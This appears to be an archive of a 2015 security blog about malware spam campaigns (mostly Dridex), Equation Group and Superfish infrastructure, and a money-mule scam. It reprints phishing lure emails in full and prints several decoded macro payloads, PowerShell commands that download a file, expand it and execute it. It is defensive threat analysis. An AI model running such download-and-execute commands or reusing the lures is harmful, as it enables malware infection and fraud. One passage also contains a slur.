Sponsored by..

Wednesday, 25 February 2015

Malware spam: 'Info Chemicals shared "MT 103_PO_NO!014.zip" with you' uses Dropbox

This spam leads to a malware download via Dropbox.

From:    Info via Dropbox
Reply-To:    hcm0366@gmail.com
Date:    25 February 2015 at 05:38
Subject:    Info Chemicals shared "MT 103_PO_NO!014.zip" with you
Signed by:    dropbox.com

From Info:

"Good day ,

How are you today
pls check attached, my manager had requested I email you our new order details together with TT copy of balance payment. Kindly confirm in return.


Frank Manner

Broad Oak Ltd, Tiverton, Tiverton Way, Tiverton Business Park, Tiverton, Devon, EX16 6TG
Registered No. 1971053 England & Wales
Telephone: +44 (0) 1884 242626
Facsimile: +44 (0) 1884 242602

Disclaimer :
This electronic mail transmission may contain material that is legally privileged and confidential for the sole use of the intended recipient. Any review, reliance or distribution by others or forwarding without express permission is strictly prohibited. If you are not the intended recipient or the employee or agent responsible for delivery of this message to the intended recipient, you are hereby notified that any disclosure, copying, dissemination, distribution or taking any action in reliance on the contents of this information is strictly prohibited and may be unlawful. If you have received this communication in error, please notify the sender immediately by responding to this electronic mail and then delete all copies including any attachments thereto from your computer, disk drive, diskette, or other storage device or media.

Maritim Barito Perkasa does not accept any liability in respect of communication made by its employee that is contrary to company policy or outside the scope of employment of the individual concerned."

Click here to view

(Info shared these files using Dropbox. Enjoy!)
The email has been digitally signed by Dropbox (which means exactly nothing) and is spoofing the wholly legitimate Broad Oak Ltd who have been a target of this sort of thing several times before.

In this case, the link in the email goes to:

and then to

Which leads to a malicious EXE file called MT 103_PO_NO!014.zip. Inside that is the malware itself, a file .pdf.scr which has a detection rate of 11/57. According to the Malwr report it drops another executable with a detection rate of 9/57. The payload looks similar to the Zeus trojan.

Also, according to Malwr and ThreatExpertit attempts to communicate with an apparent web-to-Tor gateway at


onion.am is hosted on (YISP Colo, Netherlands) and I suggest this isn't the sort of thing that you want on your corporate network regardless of its legitimate uses.

Be aware that there are probably many other Dropbox locations in use for this spam run. If you see more, I suggest you forward the email to abuse -at- dropbox.com who are normally quite good at dealing with this sort of thing.

Tuesday, 24 February 2015

Malware spam: "ArsenaL LTD" / "document do confirm" / "Izabela Pachucka [pachuckaizabela@arsenalltd.pl]"

ArsenaL LTD are a wholly legitimate Polish firm, but they are not sending out this email nor have their systems been compromised in any way. Instead, this is a simple forgery with a malicious attachment.

From:    Izabela Pachucka [pachuckaizabela@arsenalltd.pl]
Date:    24 February 2015 at 08:56
Subject:    document do confirm

Dear customer

Attached plese find the invoice of January loading. Please sign it, stamp and send me back till Monday.

Thank You in advance

Izabela Pachucka

tel. +48-85-747-90-53
tel. +48 516 010 976
fax. +48-85-747-90-89

Arsenal LTD Spółka z ograniczoną odpowiedzialnością Spółka Komandytowa

15-688 Białystok ul.Przedzalniana 6H

wpisana do Krajowego Rejestru Sądowego prowadzonego
przez Sąd Rejonowy dla m.Białystok ,XII Wydział Gospodarczy
pod KRS 0000367679 , o kapitale zakładowym w wysokości
PLN 15 000 000,00 , o numerze NIP:542-31-83-714,
numerze Regon:200392749


Joanna Grudzińska

tel. +48-85-747-91-50
tel. kom. +48 885-852-835

Arsenal LTD Spółka z ograniczoną odpowiedzialnością Spółka Komandytowa

15-688 Białystok ul.Przedzalniana 6H

wpisana do Krajowego Rejestru Sądowego prowadzonego
przez Sąd Rejonowy dla m.Białystok ,XII Wydział Gospodarczy
pod KRS 0000367679 , o kapitale zakładowym w wysokości
PLN 15 000 000,00 , o nu

I have seen only a few samples, with an attachment roexport.xls or roexport.doc both of which are undetected by AV vendors [1] [2] and which contain two similar malicious macros [1] [2] which download another component from the following locaitons:


This is saved as %TEMP%\GHjkdfg.exe. The payload is identical to the one found in this earlier spam run.

Malware spam: "Berendsen UK Ltd Invoice 60020918 117" / "donotreply@berendsen.co.uk"

This fake invoice is not from Berendsen UK Ltd but is a simple forgery. They are not sending out the spam and their systems have not been compromised in any way. Instead, this email has a malicious Word document attached.

From:    donotreply@berendsen.co.uk
Date:    24 February 2015 at 08:09
Subject:    Berendsen UK Ltd Invoice 60020918 117

Dear Sir/Madam,

Please find attached your invoice dated 21st February.
All queries should be directed to your branch that provides the service. This detail can be found on your invoice.

Thank you.

This e-mail and any attachments it may contain is confidential and
intended for the use of the named addressee(s) only. If you are not
the intended recipient, you have received it in error, please
immediately contact the sender and delete the material from your
computer system. You must not copy, print, use or disclose its
contents to any person. All e-mails are monitored for traffic data and
the content for security purposes.

Berendsen UK Ltd, part of the Berendsen plc Group.
Registered Office: 4 Grosvenor Place, London, SW1X 7DL.
Registered in England No. 228604
I have only seen one sample of this email, with a Word document IRN001549_60020918_I_01_01.doc which has a zero detection rate. Contained within this is malicious Word macro which downloads a component from the following location:


This binary has a VirusTotal detection rate of 2/57. Automated analysis tools [1] [2] [3] show that it attempts to phone home to: (MWTV, Latvia) (OVH, Ireland) (Microtech Tel, US) (World Internetwork Corporation, Thailand) (Webazilla, US) (KPN, Netherlands) (UA Servers, Ukraine) (One Telecom, Moldova)

MWTV have featured several times on this blog. A close examination of their block indicates a mix of legitimate and illegitimate sites, however the bad sites are concentrated in the following ranges:

In addition to this, the malware attempts to drop a Dridex DLL which is widely detected by AV vendors with a detection rate of 30/57.

Recommended blocklist:

Thursday, 19 February 2015

Malware spam: "State Department" / "Order state T/N:" with a hidden message

These spam emails claim both to be from the "State Department" and somebody else at the same time, so I guess they must have been sent by the intern at Dridex HQ. And also they have a hidden message, apparently aimed at me..

From:    Hollie Wyatt , State Department
Date:    19 February 2015 at 12:13
Subject:    Order state T/N:XZ3543_327

Your order is ready for collection at your chosen store.View full order details T/N:XZ3543_327 in attached document.

Hollie Wyatt .


From:    Jodi Russell , State Department
Date:    19 February 2015 at 12:16
Subject:    Order state T/N:HD6061_902

Your order is ready for collection at your chosen store.View full order details T/N:HD6061_902 in attached document.

Jodi Russell .


From:    Nathanial Mckinney , State Department
Date:    19 February 2015 at 13:26
Subject:    Order state T/N:UH0141_809

Your order is ready for collection at your chosen store.View full order details T/N:UH0141_809 in attached document.

Nathanial Mckinney .
Attached is a ZIP file that largely matches the reference number in the email, and inside that is a malicious spreadsheet called Order.xls which contains this macro.

In there is the usual combination of an encrypted string and decryption routine. Feed one into the other and you get..
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;
But wait.. what's this?
"Пидар" is not in my limited Russian vocabulary, but it seems to translate as a tradition type of meatball in gravy.

Faggots with more sauce!  Hooray

Incidentally, is a Pirix IP in Russia, and I have also seen malicious activity on the following Pirix IPs:

So I think I'm going to recommend blocking a couple of Pirix /24s at the end.


The macro downloads a file from which it saves as %TEMP%\FgdgFFFgfgF.cab and it then attempts to EXPAND it to %TEMP%\FgdgFFFgfgF.exe which doesn't quite work as expected, because the .CAB file is already an .EXE file. Must the the intern again. Anyway, EXPAND simply copies the file from CAB to EXE so it still works.

This executable has a VirusTotal detection rate of 8/57. Automated analysis tools [1] [2] plus some private sources indicate that this malware calls out to some familiar IPs: (DorukNet, Turkey) (Tsukaeru.net, Japan) (1&1, US)

According to the Malwr report,  it drops the same Dridex DLL that has been doing the rounds all day, with a VirusTotal detection rate of 8/57.

A second spam run is happening, with various senders and subjects, for example:
Byron Pittman , Bill Department
Freda Kelly , Bill Department
Leroy Gallegos , Bill Department
Terrence Reyes , Bill Department
Tyson Miller , Bill Department
Marlene Morales , Bill Department
Royal Byrd , Bill Department
Larry Kramer , Bill Department
Jenna Sparks , Bill Department
Debra Thomas , Bill Department

LE8427_395.zip attached   
MM4565_687.zip attached
SL7772_820.zip attached
MF9529_495.zip attached
DH0645_249.zip attached
ED9340_241.zip attached
HJ7305_966.zip attached
UA0899_018.zip attached
HO2362_958.zip attached
JL3695_098.zip attached
There are three different ZIP files, containing either Order.xls, Confirmation.xls or order_tatus.xls (sic). The macro is similar to the one above, but has a couple of other download locations.
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

These are: (Global Layer, NL) (Sinarohost, NL)

Payload is the same as before.

Recommended blocklist:

Malware spam: "This is your Remittance Advice #CCI36306" / "Violet Garner [Jodi.1d@ip-35-29-71-77.bgwan.com]" / "Saint Gobain UK"

This fake financial email does not come from Saint Gobain UK but is instead a forgery with a malicous attachment.
From:    Violet Garner [Jodi.1d@ip-35-29-71-77.bgwan.com]
Date:    19 February 2015 at 11:25
Subject:    This is your Remittance Advice #CCI36306


Please find attached your remittance advice from Saint Gobain UK.
For any queries relating to this remittance please notify the Payment Enquiry Team on 01484946582

SGBD National Payments Centre
I have seen two different versions of the malicious attachment CCI36306.xls, one of which is functionally identical to this one, the other one downloads a file from:


This malicious binary is the same one as used in two other spam runs today [1] [2].

Malware spam: "Marylou Champagne [marylou@droitcour.com]" / "Proforma Invoice"

This fake financial spam comes with a malicious attachment:

From:    Marylou Champagne [marylou@droitcour.com]
Date:    19 February 2015 at 09:41
Subject:    Proforma Invoice

Good Afternoon,

We have your purchase order SP14216 ready to ship.
Please advise if you will prepay or should we send COD.

Thank you,
This email is not from Droitcour and their systems and data have not been hacked or compromised in any way. Instead, this is a simple forgery that comes with a malicious Excel document attached.

So far I have only seen a single sample of the attachment Inv SP14216.xls which contains a malicious macro (similar to the one here) which downloads a file from:


This trojan download is identical to the one I mentioned here and it leads to the same payload.

Malware spam: "Maria Wilson" / "securigroup.co.uk" / "Statement"

This fake financial spam does not come from SecuriGroup, their systems have not been compromised in any way nor has there been any leak of information. Instead, this is a simple forgery with a malicious document attached.

From:    Maria Wilson [maria.wilson6870@securigroup.co.uk]
Date:    19 February 2015 at 09:10
Subject:    Statement

Please see attached up to date statement.

I would be grateful if you could confirm all due invoices have been processed for payment.

Many thanks

Maria Wilson | Credit Controller

T: 0141 285 3838


Think Sustainability - Do not print this email unless essential

This email and any attachments are confidential and intended for the addressee only.

If you are not the named recipient, you must not use, disclose, reproduce, copy or distribute the contents of this communication.

If you have received this in error, please contact the sender and then delete this email from your system.
The impact on this innocent company appears to be severe, with their website currently suspended.

I have only seen only sample of the attachment Statement 18 FEB 2015.xls although there are probably other variants. This contains a set of macros [password=infected] which are mostly crap, but the key parts are Modules 13 (the encrypted strings) and 27 (the decrypt function). These macros download a file from the following location:


This is saved as %TEMP%\FfdgF.exe which has a VirusTotal detection rate of 5/57. Various automated analysis tools [1] [2] [3] show attempted network connections to: (Hosteurope, Germany) (Microtech Tel, US) (World Internetwork Corporation, Thailand) (Tata Indicom, India) (Webazilla, US) (Chunghwa Telecom, Taiwan) (ITL Company, Bulgaria)

The Malwr report shows it dropper another version of the downloader (VT 3/57) and a malicious DLL (VT 6/57). Payload is probably Dridex.

Recommended blocklist:

Some Superfish domains and IP addresses and ranges you might want to look for

In the light of the growing Lenovo / Superfish fuss, I set out to identify those Superfish domains and IPs that I could, for the purposes of blocking or monitoring.

The domains and IPs that I have been able to identify are here [csv].

Superfish appear to operate the following domains (and several subdomains thereof):


These following IP addresses and ranges appear to be used exclusively by Superfish (some of their other domains are on shared infrastructure).

All of those IPs are allocated to Datapipe in the US. Superfish itself is based in Israel, which seems to be a popular place to develop adware.

Do with this data what you will, if you have any more IPs or domains then perhaps you might share them in the Comments.

Wednesday, 18 February 2015

Multiple spam emails using malicious XLS or XLSM attachment

I'm seeing multiple spam runs (probably pushing the Dridex banking trojan) with no body text, various subjects and either an XLS or XLSM attachment.

Example subjects include:
Copy [ID:15E376774] attaced
RE: Requests documentation [458C28133]
Request error [C3843]
Request error [FDF396530]
Requests documentation [242B035667]

Attachments look something similar to this:

The XLS and XLSM files are different structurally.. the XLSM files are basically an Office 2007 ZIP archive of all the data components, the XLS files are an old school Office 2003 file. Nevertheless, they contain a macro with 23 components to make it harder to analyse, although the important modules are Module 11 which contains the text string to decrypt, and Module 14 which contains the decryption function itself. Almost everything else is irrelevant.

Once the string is decrypted, it becomes fairly obvious what it going on. So far, there appear to be four strings with different download locations:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
So, we can see a file dxzq.jpg being downloaded which is actually a CAB file (JIOiodfhioIH.cab) which is then expanded to JIOiodfhioIH.exe and then run.

For information, these IPs are hosted by: (OVH, Ireland) (Eurobtye LLC, Russia) (OVH, France) (MWTV, Latvia)

This executable has a detection rate of 4/56. Automated analysis [1] [2] [3] shows attempted network connections to: (Doruknet, Turkey) (Tsukaeru.net, Japan) (1&1, US)

The Malwr report shows that it also drops a DLL with a detection rate of just 1/56.

Recommended blocklist:

For research purposes, a copy of the files analysed and dropped can be found here, password is infected

Malware spam: "UK Fuels Esso E-bill" / "invoices@ebillinvoice.com"

This fake invoice is a forgery with a malicious attachment:
From:    invoices@ebillinvoice.com
Date:    18 February 2015 at 09:01
Subject:    UK Fuels Esso E-bill

Customer No         : 90714
Email address       : [redacted]
Attached file name  : 36890_06_2015.DOC (ZIP)

Dear Customer

Please find attached your invoice for Week 06 2015.

If you have any queries regarding your e-bill you can contact us at invoices@ebillinvoice.com.
Alternatively you can log on to your account at www.velocitycardmanagement.com to review your transactions and manage your account online.

Yours sincerely

Customer Services
UK Fuels

This email, its content and any files transmitted with
it are confidential and intended solely for the use of
the individual(s) to whom it is addressed.
If you are not the intended recipient, be advised that
you have received this email in error and that any use,
dissemination, forwarding, printing or copying of
this email is strictly prohibited.
I have only seen a single sample of this, with a ZIP file 36890_06_2015.zip attached, which in turn contains a document 36890_06_2015.doc. This document contains a malicious macro, and is exactly the same as the one used in this campaign leading to the Dridex banking trojan.

Malware spam: "[dan@express-insurance.net]" / "Auto insurance apps and documents"

 This fake financial spam has a malicious attachment:

From:    Dan Bigelow [dan@express-insurance.net]
Date:    18 February 2015 at 09:18
Subject:    Auto insurance apps and documents

Hello ,

Please print “All” attached forms and sign and initial where I highlighted.

Scan and email back to me or fax to me at 407-937-0511.


Dan Bigelow

Referrals are important to us. If you know anyone who would benefit from our services, please contact me. 

We would appreciate the opportunity to work with them.

2636 West State Rd 434 # 112
Longwood, Fl 32779

Fax     407-386-1601

This spam does not actually come from Express Insurance nor have their systems or data been compromised in any way. Instead this is a simple forgery with a malicious Word document attached.

There are actually at least two different versions of the document with zero detections [1] [2]. The macros are a bit too complex for pastebin, but you can download a ZIP here and here [password=infected].

Despite the difference, both seem to download from:


The download file is saved as %TEMP%\FfdgF.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] indicate that it attempts to phone home to: (Hosteurope, Germany) (World Internetwork Corporation, Thailand) (Microtech Tel, US)

This probably drops a Dridex DLL, however the Malwr analysis appears to have malfunctioned and I don't have a sample.

Recommended blocklist:

Tuesday, 17 February 2015

An analysis of reported Equation Group IP ranges and domains

There has been a lot of buzz this morning about "The Equation Group", a possible state actor involved in placing malware on hard disks [1] [2] [3] [4].

Securelist (in conjunction with Kaspersky) published a list of domains and IPs to do with this malware, but with very little information about where they were hosted. After all, if they a hosted in a shed next to the bus station in Tiraspol or some underground complex buried under Wutong Mountain, then it's a rather different proposition from some secretive organisation in Washington DC.

Securelist post a number of hardcoded IPs as well as some domain names. Kaspersky have sinkholed some of the domains, and I can see one other active sinkhole. At least one of the domains is parked. Some of the domains look like they are not in use.

The data I collected can be found here, but before you use any of it, I will explain in more detail so you can use it prudently.

There are several web hosts and networks involved, all over the world. Some seem to have a higher certainty of involvement than others. In most cases, the Equation Group have rented a bunch of servers with contiguous IP addresses (I call this the "Equation Range") which is the one that I recommend you monitor. Some web hosts have other suspect IP addresses in the same neighbourhood, but in order to keep things simple I am not going into that.

(Updated 18/2/15 to remove an OpenDNS sinkhole and add

FLAG Telecom / Reliance Globalcom

Allegedly a partner of the NSA and GCHQ, these IP addresses appear to be in the UK, US and Egypt (I would doubt the accuracy of the WHOIS data for the last one). In addition to apparently hardcoded IPs, they also host:



Another company with a long history with the NSA, these Verizon IPs are all located outside the United States, specfically the Netherlands, Singaporre, Japana and Italy. In addition to hardcoded IPs, they are hosting:


Global Telecom & Technology Americas Inc. / Cogent / PSInet

This Cogent customer has at least four different IPs hosting Equation Group servers. The following domains are hosted:


Colombia: Alfan Empaques Flexibles S.A. / Columbus Networks / IFX Networks / Terremark

The relationship between the US and Colombia is difficult, with the former spying on the latter extensively. Why there should be a cluster of servers in Colombia connected with this is a mystery. In addition to hardcoded IPs, the following domains are hosted in Colombia:


Czech Republic: Master Internet / IT-PRO / 4D Praha

A group of three internet companies (possibly using the same infrastructure) also appear to be involved. All these IPs appear to be in the city of Brno, which is also home to the Czech National Cyber Security Center. Coincidence? The following domains can be found on Czech IPs in addition to hardcoded addresses:


Spain: Terremark / GTT Global Telecom

Terremark also provide hosting services for Equation in Colmbia, and of course Spain is a long-time ally of the United States and United Kingdom. Web sites hosted:


Netherlands: Tripartz-Atrato / IX Reach / Claranet / FiberRing

In addition to Verizon, four other Netherlands companies are hosting Equation Group servers. The Netherlands is another long-time ally of the US and UK.


Malaysia: Piradius NET

Often appearing to be a "go-to" company if you want to set up a Black Hat reseller, these domains and IPs look like they have been picked up as part of a commercial offering.


Other ranges and hosts

  • RACSA in Costa Rica hosts customerscreensavers.com and xlivehost.com on
  • EasySpeed in Denmark hosts  quik-serv.com and goldadpremium.com on
  • Cyber Cast International in Panama hosts havakhosh.com and toofanshadid.com on
  • EM Technologies in Panama hosts technicupdate.com and rapidlyserv.com on
  • INET in Thailand hosts globalnetworkanalys.com on with an apparently hardcoded IP of in use as well.
  • American Internet Services hosts suddenplot.com on
  • GoDaddy hosts serv-load.com and wangluoruanjian.com on
  • Quadranet / GZ Systems hosts fliteilex.com plus some other questionable domains on
  • Vegas Linkup LLC hosts standardsandpraiserepurpose.com on
  • Vox Telecom in South Africa hosts mysaltychocolateballs.com on having previously hosted forboringbusinesses.com.
In all the following network blocks and IPs appear to be hosting servers connected to the Equation Group:

I recommend that you look at the data before you do drastic things with these IP ranges.

Now, I don't know for certain that this malware is a government actor, but the IP address indicate that whoever it is has a relationship with these companies (especially Verizon). That certainly feels like a state actor to me..

Something evil on (MWTV, Latvia)

I've been tracking Dridex for some time, and I keep seeing IPs for MWTV in Latvia cropping up. So far I have seen:

I'm not sure how widely this spreads through the MWTV network, but I would certainly recommend blocking on your network perimeter.

Malware spam: "AR.Support@efi.com" / "Customer statement 0001031389 as on 02/05/2015"

This fake financial document has a malicious attachment:

From:    AR.Support@efi.com
To:    minutemanpresschicago@comcast.net
Date:    17 February 2015 at 10:22
Subject:    Customer statement 0001031389 as on 02/05/2015

Dear EFI Customer,

Please find attached your statement for this month. If you need invoice
copies or have any questions you can reply to this e mail and we will
contact you at the earliest.

AR Support

** Attention AP Department ** Effective April 25th our new remittance address will change to
the following. Please update your records. Thank you.

PO Box 742366
Los Angeles, CA. 90074-2366

Confidentiality notice: This message may contain confidential information. It is intended only for the person to whom it is addressed. If you are not that person, you should not use this message. We request that you notify us by replying to this message, and then delete all copies including any contained in your reply. Thank you.
Attached is a Word document Customer statement 0001031389 as on 02052015.DOC which comes in two different types with zero detection rates [1] [2] containing two highly obfuscated modular macros [1] [2]  that actually just perform a ROT13 transformation on a couple of strings.


Which decodes to:


This has a VirusTotal detection rate of 5/57. Automated analysis tools [1] [2] [3] shows the malware attempting to connect to: (World Internetwork Corporation, Thailand) (Microtech Tel, US) (MWTV, Latvia)

According to the Malwr report this drops a DLL with a detection rate of 2/57 which is probably Dridex.

Recommended blocklist:

Malware spam: "Unpaid invoice [ID:9876543210]" drops Dridex

This fake invoice comes with no body text, a random ID: in the subject and a randomly-named malicious Excel attachment

Date:    17 February 2015 at 14:05
Subject:    Unpaid invoice [ID:9876543210]
Some example attachment names are:


There are found different variants, all with very low detection rates at VirusTotal [1] [2] [3] [4]. Each one contains a different variety of macros, and unlike previous spam runs, these are individual modules (which frankly makes it no harder to analyse, just harder to put into Pastebin).

When we decrypt the strings in the macro, we see:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
This combines the recent Powershell trick with a new one. Instead of downloading an EXE file, it downloads and unpacks a CAB file, dfssk.cab which is saved in the %TEMP% folder and then expanded to %TEMP%\JIOiodfhioIH.exe.

These download locations are: (MWTV, Latvia) (iomart, UK) (IT House / Clodo-Cloud, Russia) (Hetzner, Germany / Dmitry Zheltov, Russia)

Automated analysis tools [1] [2] [3] show this POSTing to (MWTV,  Latvia), which is definitely worth blocking. Note that one of the download locations for the binary is only a few IPs away at

ThreatExpert also shows attempted network connections to plus: (Hetzner, Germany) (1&1, US)

This Malwr report shows a DLL with MD5 b83b18ffe375fad452c02bdf477864fe which has a VirusTotal detection rate of 3/57.

Recommended blocklist:

Monday, 16 February 2015

Money mule scam: gbearn.com / usaearns.com

This spam email is attempting to recruit people to aid with money laundering ("money mules") and other illegal operations.

Date:    16 February 2015 at 21:29
Subject:    New offer

Good day!
We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you.

Our firm specializes in advertisment services realizing unique products of creative advertising and branding strategies
and solutions to develop a distinctive brand value.

We cooperate with different countries and currently we have many clients in the USA and the EU.
Due to this fact, we need to increase the number of our destination representatives' regular staff.
In their duties will be included the document and payment control of our clients.
Part-time employment is currently important.
We offer a wage from 3500 GBP per month.

If you are interested in our offer, mail to us your answer on riley@gbearn.com and
we will send you an extensive information as soon as possible.
Respectively submitted

Personnel department
The reply-to address of gbearn.com has recently been registered by the scammers with false WHOIS details. There is also an equivalent domain usaearns.com for recruiting US victims.

Although there is no website, both domains have a mail server at (Hostinger, US) which also serves as one of the nameservers for these domains (ns1.recognizettrauma.net). The other nameserver (ns2.recognizettrauma.net) is on (Charter Communications, US).

Be in no doubt that the job being offered here is illegal, and you should most definitely avoid it.

Malware spam: "L&A Plastic Order# 66990" / "Hannah [Hannah@lapackaging.com]"

This fake financial spam does not come from LA Packaging, their systems are not compromised in any way. Instead, this is a simple forgery with a malicious attachment:

From:    Hannah [Hannah@lapackaging.com]
Date:    16 February 2015 at 10:38
Subject:    L&A Plastic Order# 66990

For your records, please see attached L&A Order# 66990 and credit card receipt.
It has shipped today via UPS Ground Tracking# 1Z92X9070369494933

Best Regards,
Hannah – Sales
L&A Plastic Molding / LA Packaging
714-694-0101 Tel - Ext. 110
714-694-0400 Fax
E-mail: Hannah@LAPackaging.com
Attached is a malicious Word document 66990.doc - so far I have only seen one version of this, although there are usually several variants. This document contains a macro [pastebin] which downloads an executable from:


At present this has a detection rate of 6/57. It is the same malware as seen in this spam run.

Malware spam: "Re: Data request [ID:91460-2234721]" / "Copy of transaction"

This rather terse spam comes with a a malicious attachment:

From: Rosemary Gibbs
Date:    16 February 2015 at 10:12
Subject:    Re: Data request [ID:91460-2234721]

Copy of transaction.
The sender's name, the ID: number and the name of the attachment vary in each case. Example attachment names are


None of the three attachments are detected by anti-virus vendors [1] [2] [3]. They each contain a slightly different macro [1] [2] [3]. The critical part of the encoded macro looks like this (click to enlarge):

It's quite apparent that this is ROT13 encoded which you can easily decrypt at rot13.com rather than working through the macro. These three samples give us:

"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 
"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';" 
"cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';"
So, these macros are attempting to use Powershell to download and execute the next step (possibly to avoid the UAC popup). The downloaded binary has a VirusTotal detection rate of 3/57 and automated analysis tools [1] [2] [3] show attempted communications with: (Pirix, Russia) (FranTech Solutions, US) (MWTV, Latvia) (TW Telecom, Taiwan) (Hathway Cable and Datacom, India) (University Of New South Wales, Australia) (Private Layer, Switzerland)

It also drops a DLL with a 4/57 detection rate which is the same malware seen in this attack.

Recommended blocklist:

Malware spam: "T.A.G. (The Automotive Group) Ltd." / "Lawrence Fisher [l.fisher@taghire.co.uk]" / invoice

This fake invoice does not come from The Automotive Group Ltd or any similarly-named company. Their systems have not been compromised in any way. Instead, this is a forgery with a malicous attachment. Note that the taghire.co.uk simply shows "Under Construction".
From:    Lawrence Fisher [l.fisher@taghire.co.uk]
Date:    16 February 2015 at 08:25
Subject:    invoice

Here is the invoice

Kind Regards,

Lawrence Fisher
T.A.G. (The Automotive Group) Ltd.
Unit 22 Coney Green Business Centre Wingfield View, Clay Cross, Chesterfield

Tel: 020 3750 0638

Description: 150px Crop Background Remove Logo

This e-mail is confidential and may be privileged.  It may be read, copied and used only by the intended recipient. If you have received it in error, please contact the sender immediately by return e-mail or by telephoning 020 3750 0638
So far I have only seen one sample of this, with an attachment named Invoice 0215.doc which has zero detections according to VirusTotal. It contains an obfuscated Word macro which downloads an additional component from:


Usually there are two or three versions of this document, but I have only seen one. If  you look at the macro code itself, the download location is not encrypted in the code although other elements of the process are encrypted with a string + key combination. Those combinations contain non-printable characters, possibly in an attempt to avoid anaylsus,

This .exe file is downloaded as %TEMP%\345435.exe and it has a VirusTotal detection rate of 3/57.  Automated reporting tools [1] [2] [3] show that this POSTS to It appears that communication is attempted with the following IPs: (Pirix, Russia) (Webazilla, US) (Digital Networks, Russia) (One Telecom, Moldova) (BSNL / Broadband Multiplay, India) (McHost, Russia)

Also, according to the Malwr report, a DLL is dropped with a detection rate of 3/57.

Recommended blocklist:

Saturday, 14 February 2015

Spammer: Brad Smith / Unicore Health / unicorehealth.net / unicorehealth.com

This slimed its way into my mailbox:

From:    Brad Smith [sales@unicorehealth.net]
To:    Morgan Stanley [mstanley@redacted]
Date:    11 February 2015 at 15:24
Subject:    Morgan, HR related question

Hi Morgan, could you let me know a time we could talk in the next few days? For HR managers we measure and video the essential functions and physical requirements of each key job so that clients like Coca-Cola and Publix can reduce their hiring risk and job injury risk. I thought you would like to quickly view the process, some interesting examples, and how to use them in your role. Just let me know a time that works in your schedule and I will confirm back, talk then!

Brad Smith
VP, Product Management
Unicore Health

This message is confidential and intended only for the original recipient. If you have received this message in error, please delete it or mail us back with re move in the sub ject. If any follow-up is needed I show your contact information as Morgan Stanley, mstanley@redacted   and our address if needed is 3200 Downwood Circle, Ste 410, Atlanta, GA, 30327. Thank you.
Morgan Stanley? They must mean this Morgan Stanley. How did they confuse me with Morgan Stanley? Because I mention them on my website here. Now, I only know of one company that sends spam like this.. but more about them later.

Let's check the veracity of the message.. first, the mail headers.

Received: from [] (port=1355 helo=mail.unicorehealth.net)
    by [redacted] with esmtp (Exim 4.80)
    (envelope-from <sales@unicorehealth.net>)
    id 1YLZ9H-0001CT-C2
    for mstanley@redacted; Wed, 11 Feb 2015 15:24:20 +0000
Received: from 31617334.unicorehealth.net
        by mail.unicorehealth.net (Right Sender 3.3) with ASMTP id YRJ55117
        for <mstanley@redacted>; Wed, 11 Feb 2015 10:24:17 -0500
Message-ID: <20150211102412.2e7c8b6c6f@6e5d>
From: "Brad Smith" <sales@unicorehealth.net>
To: "Morgan Stanley" <mstanley@redacted>
Subject: Morgan, HR related question
Date: Wed, 11 Feb 2015 10:24:12 -0500
X-Priority: 3
X-Mailer: SMTP-Mailer 3.4
MIME-Version: 1.0
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable
Received-SPF: pass ([redacted]: domain of sales@unicorehealth.net designates as permitted sender) client-ip= envelope-from=sales@unicorehealth.net helo=mail.unicorehealth.net
X-BlackCat-Spam-Score: -10
